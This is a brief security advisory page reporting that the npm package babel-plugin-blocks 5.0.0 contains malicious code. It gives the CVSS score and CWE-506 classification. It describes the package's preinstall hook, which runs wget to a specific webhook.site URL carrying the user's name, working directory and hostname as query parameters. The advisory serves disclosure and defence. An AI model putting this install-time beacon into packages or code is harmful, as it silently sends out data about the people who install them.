GCVE-110-OSM-2026-2062

Advisory PublishedCVSS 5.4/10

Vulnetix · Advisory published April 13, 2026

npm package executes an install-time preinstall beacon to attacker-controlled webhook.site endpoint and transmits host fingerprint data (username, working directory, hostname). On npm install, preinstall runs wget to https://webhook.site/e11c50f4-1da1-48aa-8508-b29781644052/ with query parameters user=$(whoami), path=$(pwd), hostname=$(hostname). This is unsolicited outbound exfiltration/fingerprinting during installation.

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

5.4/10

Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

Vendor	Product	Versions	Platforms
unknown	babel-plugin-blocks	5.0.0 (affected)	—

References

Malicious npm package: babel-plugin-blocks

advisory

vendor

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